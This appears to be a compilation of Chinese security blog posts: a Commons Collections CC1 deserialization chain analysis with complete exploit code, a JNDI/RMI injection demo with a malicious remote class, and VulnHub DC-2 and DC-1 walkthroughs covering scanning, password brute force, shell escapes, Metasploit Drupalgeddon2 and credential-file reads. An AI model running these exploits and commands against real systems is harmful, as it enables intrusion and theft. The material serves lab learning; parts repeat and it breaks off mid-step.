Commons Collections是Apache软件基金会的一个开源项目，它提供了一组可复用的数据结构和算法的实现，旨在扩展和增强Java集合框架，以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现，以及许多实用程序类和算法实现。它的代码质量较高，被广泛应用于Java应用程序开发中。本篇文章就是分析Commons Collections3.1版本下的反序列化问题，针对于它的攻击链也被称为cc1链。

准备工作

选择jdk版本为8u65，因为漏洞在8u71的版本就被修复了。下载地址：https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

CommonsCollections的版本选择3.2.1，不能太高，太高也是没有漏洞的。添加Maven依赖下载：

1
2
3
4
5
6
7
8

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

另外，为了方便调试我们还需要java源码，因为源码中大多都是class文件，不方便阅读和查找。所以需要下载openjdk对应的源码，链接：https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击zip下载， 把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65里

在IDEA中，选择项目结构， 将jdk中的src文件路径添加到源路径中

配置Maven源，要不然没办法下载源码

cc1链分析

利用点

此链的漏洞利用点在Commons Collections库中的Transformer接口

再寻找继承于Transformer接口的类，快捷键alt+crtl+b快速查找。有很多都继承了这个接口，我们定位到InvokerTransformer类中，此类可以被序列化，找到重写的Transform方法

这里通过反射调用任意类的任意方法。其中的参数都是通过该类的构造函数控制，也是我们所能控制的。所以这里应该是可以执行任意方法的。

所以我们可以尝试测试一下能执行恶意类

1
2
3
4
5
6
7

public class CC1 {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}

实例化invokerTransformer类，传入方法名，参数类型，参数值。

运行一下代码，成功弹出计算器。 漏洞利用点有了，接下来就是逆推构造调用链，最终定位到某个类的readObject方法里。

调用链

我们是在transform方法里执行命令的，所以接下来找哪个类调用了transform方法。右键点击查找用法可快速查找什么类调用了transform方法。共有二十四处调用，这些调用的地方我们都可以看看，最后找到TransformedMap类的checkSetValue方法

valueTransformer是通过TransformerMap赋值的， 但是函数类型为protected，只能本类调用。

在该类中还一个decorate方法， 类似于装饰器。它实例化了本类，能够调用TransformedMap构造器并为valueTransformer赋值。

那么回到checkSetValue方法，我们已经可以控制valueTransformer，那么接下来找哪个类的哪个方法调用了该方法。只有一处调用，MapEntry类的setValue方法。

我们知道Entry代表map中的一个键值对，MapEntry类重写了Map的setValue方法

我们先通过对Map的遍历触发setValue方法，主要思路：实例化一个Map，put一个键值对，然后通过TransformedMap的decorate方法进行封装，最后进行遍历

这里的链子就是 Map->setValue->checkSetValue->transformer，通过TransformedMap的decorate方法进行传参。

调试一下

在decorate方法下断点调试一下， 此时，valueTransformer参数赋值为InvokerTransformer对象，步入

此时，valueTransformer参数赋值为InvokerTransformer对象，步入

接着调用构造器，把InvokerTransformer对象赋值给valueTransformer，走到遍历键值对的时候，调用setValue方法

此时就调用了TransformedMap的checkSetValue方法。value的值为Runtime对象。

步入，最后就调用了InvokerTransformer的transform方法。

最终执行命令，弹出计算器。那么就说明此链是走的通的，还是逆向查找，看看哪个类的哪个函数调用了setValue方法，如果是readObject类调用了那就可以进行序列化了。

入口类

查找用法，在AnnotationInvocationHandler类的readObject方法调用了setValue方法。

虽然找到入口点了，但是还要有一些问题需要解决

Runtime类不能被反序列化

可以通过反射获取到它的class对象，class对象是可以被反序列化的，跟进看一下：

一般的反射执行命令的写法为：

1
2
3
4
5
6
7
8
9

public class CC1test1 {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
        Class c = Runtime.class;
        Method runtime = c.getMethod("getRuntime");
        Runtime a = (Runtime) runtime.invoke(null,null);//获得Runtime实例
        Method method = c.getMethod("exec",String.class);//获得exec函数
        method.invoke(a,"calc");//调用Runtime对象的exec函数弹出计算器
    }
}

我们要把这个写法嵌套在 InvokerTransformer类里面

首先获得runtime方法

1

Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

为什么要这样写我们可以跟进一下InvokerTransformer方法和getMethod方法

InvokerTransformer需要传递三个参数，一个是参数名称，一个是Class数组，一个是Object数组。

getMethod方法需要传递两个参数，一个是参数明，还有一个是Class数组

获取Runtime实例

1

Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);

获取exec函数调用runtime示例执行calc。

1

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

这样就把命令执行嵌入 InvokerTransformer方法里了。成功执行

但是这样每次就需要调用一次transform方法，传入上一步的输出。很麻烦

在Commons Collections库中存在ChainedTransformer这么一个类，可以将多个Transformer串联在一起形成一个链，递归调用。跟进这个类看一下

它的构造方法传递一个数组，它的transform方法将iTransformers进行递归调用。代码如下

完美解决不能反序列化的问题。

AnnotationInvocationHandler不能在包外实例化

看代码

构造器没写类型，那就是默认访问修饰符，只能在包内实例化。所以还是需要反射来获得实例对象。

该构造器接收两个参数，分别是注解类型的Class对象和Map对象。

不能直接实例化，我们就需要用反射去调用他

1
2
3
4
5
6

Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取类名
Constructor AnnotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);//获取构造器
AnnotationInvocationHandlerConstructor.setAccessible(true);//设置可以访问
Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, TransformedMapDecorate);//实例化
new ObjectOutputStream(new FileOutputStream("cc1.bin")).writeObject(o);
Object o1 = new ObjectInputStream(new FileInputStream("cc1.bin")).readObject();

满足readObject的两个if判断

实际上这条链根本就没有调用setValue方法，打断点调试看看。断点直接打在readObject方法

第一个if就进不去，这个memberType实际上就是获取注解对象名为name的值，这个name，就是memberValues的键名。而这个memberValues是什么呢？我们创建的Map对象的键值，我们设置的Override，跟进看一下

是没有值的，所以需要换一个注解，跟进Target看一下

是有value值。同时对于Map对象，需要put键值对，键名必须为value，键值随意。更改完成后，再跟进看一下

这是var7有值的。

继续跟进

setValue方法的参数不可控

实际上执行了setValue方法后会跟进到checkSetValue。

而这里的value不是我们想要的Runtime.class，也就是不可控。可以利用一个类ConstantTransformer，跟进看一下它的transform方法

无论接收什么参数，返回一个固定值，而这个固定值可以通过构造器可控。也就是说，无论value被赋上什么值，只要它调用了ConstantTransformer的transform方法，结果我们都可控。在Transformer数组里实例化ConstantTransformer

然后调试看一下

在数组遍历时会调用transform将输入改变为Runtime对象。

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        //定义一个数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//
                //获取getRuntime方法
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                //调用invoke方法获得实例
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //调用exec方法，弹出计算器
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        //创建实例
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<Object,Object>();
        objectObjectHashMap.put("value","b");
        Map<Object,Object> TransformedMapDecorate = TransformedMap.decorate(objectObjectHashMap, null,chainedTransformer);
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取类名
        Constructor AnnotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);//获取构造器
        AnnotationInvocationHandlerConstructor.setAccessible(true);//设置可以访问
        Object o = AnnotationInvocationHandlerConstructor.newInstance(Target.class, TransformedMapDecorate);//实例化
        new ObjectOutputStream(new FileOutputStream("cc1.bin")).writeObject(o);
        Object o1 = new ObjectInputStream(new FileInputStream("cc1.bin")).readObject();
    }
}

概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口，JNDI提供统一的客户端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将JNDI API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一，所有的J2EE容器都必须提供一个JNDI的服务。

JNDI可访问的现有的目录及服务有：
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

简单点来说就相当于一个索引库，一个命名服务将对象和名称联系在了一起，并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件，从而保持数据库代码不变动等。

JNDI结构

在Java JDK里面提供了5个包，提供给JNDI的功能实现，分别是：

1
2
3
4
5
6
7
8
9

javax.naming：主要用于命名操作，它包含了命名服务的类和接口，该包定义了Context接口和InitialContext类；

javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；

javax.naming.event：在命名目录服务器中请求事件通知；

javax.naming.ldap：提供LDAP支持；

javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。

2 前置知识

RMI介绍

　　远程方法调用（RMI）顾名思义是一台机器上的程序调用另一台机器上的方法。这样可以大致知道RMI是用来干什么的，但是这种理解还不太确切。RMI是Java支撑分布式系统的基石，例如著名的EJB组件。RMI是远程过程调用（RPC）的一种面向对象实现，RMI底层是通过socket通信和对象序列化技术来实现的。

RMI基本原理

　　RMI的目的就是要使运行在不同的计算机中的对象之间的调用表现得像本地调用一样。RMI 应用程序通常包括两个独立的程序:服务器程序和客户机程序。RMI 需要将行为的定义与行为的实现分别定义, 并允许将行为定义代码与行为实现代码存放并运行在不同的 JVM 上。在 RMI 中, 远程服务的定义是存放在继承了 Remote 的接口中。远程服务的实现代码存放在实现该定义接口的类中。RMI 支持两个类实现一个相同的远程服务接口: 一个类实现行为并运行在服务器上, 而另一个类作为一个远程服务的代理运行在客户机上。客户程序发出关于代理对象的调用方法, RMI 将该调用请求发送到远程 JVM 上, 并且进一步发送到实现的方法中。实现方法将结果发送给代理, 再通过代理将结果返回给调用者。

通俗的来说，RMI就是能让我们去调用远程服务器上面的对象和方法、即使本地不存在该类。

RMI应用示例

代码实现

1
2
3

public interface Hello extends java.rmi.Remote{
    public String sayHello(String from) throws java.rmi.RemoteException;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import com.example.log4j2.test.Hello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    // 构造方法需要声明抛出RemoteException异常
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    // 实现Hello接口的方法
    @Override
    public String sayHello(String from) throws RemoteException {
        // 在服务器端输出一条消息，表示收到客户端的调用请求
        System.out.println("Hello from " + from + "!!");

        // 返回一个字符串作为示例
        return "sayHello";
    }
}

服务端类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

import com.example.log4j2.test.impl.HelloImpl;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class HelloServer {
    public static void main(String[] args) throws RemoteException, NamingException {
        // 创建RMI注册表，监听在端口1099
        LocateRegistry.createRegistry(1099);

        // 设置JNDI的属性，指定RMI注册表的地址
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");

        // 创建初始上下文对象
        InitialContext context = new InitialContext();

        // 将HelloImpl对象绑定到JNDI命名空间中，名字为"hello"
        // 客户端通过该名字查找到HelloImpl对象并进行远程调用
        context.bind("hello", new HelloImpl());

        // 关闭上下文对象
        context.close();
    }
}

客户端类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

package com.example.log4j2.test.Client;

import com.example.log4j2.test.Hello;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class HelloClient {
    public static void main(String[] args) throws NamingException, RemoteException {
        // 设置RMI注册表的连接信息
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");

        // 创建InitialContext对象，用于查找RMI注册表并获取远程对象引用
        InitialContext context = new InitialContext();

        // 通过查找RMI注册表，获取远程对象的引用
        Hello rmiObject = (Hello) context.lookup("hello");

        // 调用远程对象的方法，传入参数"world"，并接收返回值
        String result = rmiObject.sayHello("world");

        // 在客户端输出远程对象方法的返回结果
        System.out.println(result);

        // 关闭InitialContext对象
        context.close();
    }
}

先运行HelloServer，再运行HelloClient，即可看到运行输出的结果：sayHello。

HelloServer将HelloImpl对象绑定到hello名称上。HelloClient使用hello名称，即可获取HelloImpl对象。

端API，通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现，由管理者将JNDI API映射为特定的命名服务和目录系统，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一，所有的J2EE容器都必须提供一个JNDI的服务。

JNDI可访问的现有的目录及服务有：
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

以上是一段百度wiki的描述。简单点来说就相当于一个索引库，一个命名服务将对象和名称联系在了一起，并且可以通过它们指定的名称找到相应的对象。从网上文章里面查询到该作用是可以实现动态加载数据库配置文件，从而保持数据库代码不变动等。

JNDI结构

在Java JDK里面提供了5个包，提供给JNDI的功能实现，分别是：

1
2
3
4
5
6
7
8
9

javax.naming：主要用于命名操作，它包含了命名服务的类和接口，该包定义了Context接口和InitialContext类；

javax.naming.directory：主要用于目录操作，它定义了DirContext接口和InitialDir- Context类；

javax.naming.event：在命名目录服务器中请求事件通知；

javax.naming.ldap：提供LDAP支持；

javax.naming.spi：允许动态插入不同实现，为不同命名目录服务供应商的开发人员提供开发和实现的途径，以便应用程序通过JNDI可以访问相关服务。

2 前置知识

其实在面对一些比较新的知识的时候，个人会去记录一些新接触到的东西，例如类的作用。因为在看其他大佬写的文章上有些在一些前置需要的知识里面没有去叙述太多，需要自己去查找。对于刚刚接触到的人来说，还需要去翻阅资料。虽然说在网上都能查到，但是还是会有很多搜索的知识点，需要一个个去进行查找。所以在之类就将一些需要用到的知识点给记录到这里面。方便理解，也方便自己去进行翻看。

InitialContext类

构造方法：

1
2
3
4
5
6

InitialContext() 
构建一个初始上下文。  
InitialContext(boolean abd) 
构造一个初始上下文，并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。 

代码：

1

InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文，其实通俗点来讲就是获取初始目录环境。

常用方法：

1
2
3
4
5
6
7
8
9
10

bind(Name name, Object obj) 
将名称绑定到对象。 
list(String name) 
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
检索命名对象。 
rebind(String name, Object obj) 
将名称绑定到对象，覆盖任何现有绑定。 
unbind(String name) 
取消绑定命名对象。 

代码：

1
2
3
4
5
6
7
8
9
10

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/exp";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

该类也是在javax.naming的一个类，该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法：

1
2
3
4
5
6
7
8

Reference(String className) 
为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
为类名为“className”的对象，对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  

参数1：className - 远程加载时所使用的类名

参数2：classFactory - 加载的class中需要实例化类的名称

参数3：classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

3 JNDI注入攻击

在叙述JNDI注入前先来看一段源码。

代码示例：

1
2
3
4
5
6
7
8
9
10
11
12
13

package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/exploit";
        InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用
        initialContext.lookup(uri);//获取指定的远程对象

    }
}

在上面的InitialContext.lookup(uri)的这里，如果说URI可控，那么客户端就可能会被攻击。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。

JNDI注入+RMI实现攻击

下面还是来看几段代码，来做一个分析具体的攻击流程。

RMIServer代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

package com.example.log4j2.JNDIRMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIserver {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 设置一个虚假的URL，实际上并不会被使用它只是作为一个占位符存在，用于创建Reference对象。
        String url = "http://127.0.0.1:8088/";
        // 创建RMI注册表，并监听在默认端口号1099
        Registry registry = LocateRegistry.createRegistry(1099);
        // 创建一个Reference对象，用于存储远程对象的引用信息
        Reference reference = new Reference("Exploit", "Exploit", url);
        // 创建一个ReferenceWrapper对象，将Reference对象封装成Wrapper对象
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        // 将ReferenceWrapper对象绑定到RMI注册表中，使用名字"exp"
        registry.bind("exp", referenceWrapper);
        // 输出提示信息
        System.out.println("running");
    }
}

RMIClient代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

package com.example.log4j2.JNDIRMI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/exp";
        // 创建一个初始上下文对象
        InitialContext initialContext = new InitialContext();
        // 通过RMI URL "rmi://localhost:1099/exp" 在RMI注册表中查找对应的远程对象
        initialContext.lookup(url);
    }
}

恶意类，挂载在web页面上让server端去请求。

1
2
3
4
5
6
7
8

package com.example.log4j2.JNDIRMI;
import java.io.IOException;

public class Exploit {
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

使用javac命令，将该类编译成class文件挂载在web页面上。

先运行RMIServer把恶意类绑定在RMI的Registry 里面，然后在运行RMIClient，在客户端调用lookup远程获取远程类的时候就会去寻找我们在RMI里面绑定的恶意类，请求到远程的类后会在本地进行执行。

我在这里其实是执行失败了，因为在高版本中，系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true，可以远程加载一些类。

1、信息收集

查找存活主机

1

arp-scan -l

得到DC-2的IP地址为：192.168.228.133

用nmap扫描开放的端口

1

nmap -sV -p- 192.168.228.133

可以看到DC-2开启了80端口，和ssh，ssh的端口在7744端口。

2、渗透过程

直接去访问这个IP，发现访问不了。会自动跳转到DC-2，应该是给重定向了，本地DNS绑定一下

vim /etc/hosts

添加

192.168.228.133 DC-2

保存退出，我们就可以正常访问到网页了。

提示是让我们用cewl

Cewl是一款采用Ruby开发的应用程序，你可以给它的爬虫指定URL地址和爬取深度，还可以添额外的外部链接，接下来Cewl会给你返回一个字典文件，你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外，Cewl还提供了命令行工具。

1

cewl http://dc-2 -w passwd.txt

有了密码字典，还需要找登陆账号，和登陆界面

登陆界面就要挖目录去看看了，可以用dirb来挖目录

1

dirb http://dc-2

访问是一个登录的页面，找到了登录界面，接下来就是找登陆密码了。我们可以看到网站是wordpress.

wordpress有一个著名的扫描工具wpscan

1

wpscan --url http://dc-2/ -e u   //枚举用户名字

找到了三个用户名，admin,jerry,tom,我们把这三个用户名写到一个文本user.txt里面

使用wpscan爆破账号密码

1

wpscan --url http://dc-2/ -U user.txt -P passwd.txt

找到了jerry,和tom的密码我们去网页登录,进去之后找到第二个flag

flag2说我们在wordpress里面找不到其他东西了

最开始我们在前面发现他开启了ssh，然后我们还一个账号和密码，尝试用ssh登录

1

ssh tom@192.168.228.133 -p 7744

三、提权

登陆进去之后我们可以看到flag3.txt，但是cat用不了，查看可以用的命令

1

compgen -c    //查看可以使用的指令

vi可以用，用vi编辑器打开

提到了tom和jerry，还有su，应该是让我们提权，vi可以用，有一个vi提权。这个需要在非编辑模式下进行。

vi随便打开文件

再下面添加

1
2
3

:set shell=/bin/sh

:shell

然后再输入：shell回车初步提权就成功了

返回上一级目录，看到有一个jerry目录，进去看一下，有flag4。

cat用不了，还是用vi去查看flag，这里提示我们还没有回家，flag3里面提示我们su,我们可以尝试切换用户

尝试切换jerry用户，切换不了

还需要提权，有一个-rbash环境变量提权的方法

1
2
3
4
5
6
7
8
9
10

export -p    //查看环境变量

BASH_CMDS[a]=/bin/sh;a     //把/bin/sh给a

/bin/bash

export PATH=$PATH:/bin/     //添加环境变量

export PATH=$PATH:/usr/bin   //添加环境变量

切换到到jerry用户成功

但是还是进不了root，找查具有SUID权限的可执行二进制文件

1

find / -perm -u=s -type f 2>/dev/null

发现有一个sudo，用sudo -l看看sudo有什么权限

git是root权限，使用git提权

1
2
3
4
5
6
7

1、sudo git help config #在末行命令模式输入

!/bin/bash 或 !'sh' #完成提权

2、sudo git -p help

!/bin/bash #输入!/bin/bash，即可打开一个用户为root的shell

提权成功

1.1、DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

1.2、安装过程

解压后得到个.ova文件

进入Vm打开，然后等待导入完毕。

然后再更改kali的网络连接模式为桥接模式，让DC靶机跟kali处于同一网段，这用kali才能扫出DC的主机，当然也可以设置为net，但必须DC-1靶机也设为net。

二. 渗透过程

2.1、信息收集

①探测目标IP地址

探测主机的工具有很多，常见的有arp-scan、nmap还有netdiscover

arp-scan -l

该命令是探测当前网段的所有存活主机的IP地址

可以看到当前网段内存活的主机IP为192.168.228.132

可以用nmap去探测一下该IP开了什么端口。

可以看到这个ip开了80端口，我们可以直接浏览器访问这个Ip地址。

利用火绒插件wappalyzer，查看站点信息，也可以自己判断，网页一看cms就是drupal

当然也可以用kali自带的工具whatweb扫

1

whatweb -v 192.168.228.132

经过信息收集之后我们可以得到如下信息

1
2
3
4

CMS是Drupal
Apache 2.2.22
PHP 5.4.45
jQuery 1.4.4

2.2、漏洞查找与利用

知道cms，我们一般从cms出发找漏洞，百度一下drupal漏洞

这是一个框架漏洞，我们可以用kali自带的工具Metasploit（目前世界上领先的渗透测试工具，也是信息安全与渗透测试领域最大的开源项目之一），找一下漏洞。

先打开工具

1

msfconsole

用search命令去搜索我们要渗透的网站框架

1

search Drupal

可以看到这个cms框架还是有挺多漏洞的，这里我们利用漏洞等级较高的，我们选择2018年的那个漏洞

使用use命令 + 漏洞名称，指定我们要利用的漏洞

1

use exploit/unix/webapp/drupal_drupalgeddon2

接着看一下该漏洞模块参数

1

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容，yes为必须设置，no可以设置也可不设置

就上面来说RHOSTS需要set。

1

set 192.168.228.132

设置完参数之后就可以run了

出现Meterpreter session 1 opened（kali和目标ip的连接）就说明攻击成功啦，接下来我们可以直接上shell

三. Getshell

3.1、获取普通shell

shell

获取一下普通的shell，然后执行ls命令

3.2、获取交互shell

这样看起来有点不习惯，不过我们可以利用python实现互交shell，这样就好看一点。

1

python -c 'import pty; pty.spawn("/bin/bash")'

然后查看flag1.txt

每个好的CMS都需要一个配置文件，你也一样。这个先放着，看看还有没有其他flag文件

1

find / -name flag*

就只有这一个flag文件，上面的flag说每个cms都需要一个好的配置文件，我们去搜一下Drupal配置文件，路径挺复杂的不过知道名字叫settings.php，我们可以用命令直接搜索并打开，内联执行

1

cat `find / -name settings.php`

在这里我们得到了数据库用户名和密码，直接连接数据库

1
2
3

mysql -udbuser -pR0ck3t

show databases;#查看数据库

有一个名为drupaldb的数据库，进入这个数据库看一下，并查看表

1
2
3

use drupaldb;

show tables;

有一张users表，查看一下表的内容

1

select * from users;

加一个admin。

修改admin密码

我们得先找到加密文件，Drupal的加密脚本在

1

/var/www/scripts/password-hash.sh

目录下，先退出mysql，打开加密脚本

1

cat /var/www/scripts/password-hash.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109

#!/usr/bin/php
<?php


/**
* Drupal hash script - to generate a hash from a plaintext password
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
*   #!c:/program files/php/php.exe
*
* @param password1 [password2 [password3 ...]]
*  Plain-text passwords in quotes (or with spaces backslash escaped).
*/


if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF


ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}


$script = basename(array_shift($_SERVER['argv']));


if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF


Generate Drupal password hashes from the shell.


Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"


All arguments are long options.


  --help      Print this page.


  --root <path>


              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.


  "<password1>" ["<password2>" ["<password3>" ...]]


              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.


To run this script without the --root argument invoke it from the root directory
of your Drupal installation as


  ./scripts/{$script}
\n
EOF;
  exit;
}


$passwords = array();


// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}


define('DRUPAL_ROOT', getcwd());


include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';


foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

看到这里我们可以直接运行这个加密脚本，后面跟上我们的密码明文，他就会给我们输出出来密文。这里我们设置一个密码123456

1

php /var/www/scripts/password-hash.sh 123456

我们把这个密文去数据库里面修改amdin,或者Fred的密码

1
2
3

mysql -udbuser -pR0ck3t

use drupaldb;update users set pass = "$S$DSO2OjMqCiOC0.Qkey6QmlMhSVHY1LOlP9sk3ONvG7t3OyoqiThi" where name = 'admin' or name = 'Fred';

我们可以看到已经修改成我们生成的密码了，这样就可以直接去网站里面登录进去了。

登陆成功

这里有第三个flag3

登进去就找到了flag3，提示了我们一些信息passwd和shadow，明显就是linux的文件

/etc/passwd 该文件存储了系统用户的基本信息，所有用户都可以对其进行文件操作读

/etc/shadow 该文件存储了系统用户的密码等信息，只有root权限用户才能读取

接着我们查看一下用户信息

1

cat /etc/passwd

可以看到有flag4这个用户，我们有两个方法拿到这个用户的密码，一个是爆破，另一个就是提权打开shadow文件查看密码

四.用户密码爆破

事先参考SSH

利用工具Hydra爆破flag4的密码

1

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.228.132

得到密码，orange,然后我们用kali连接

1

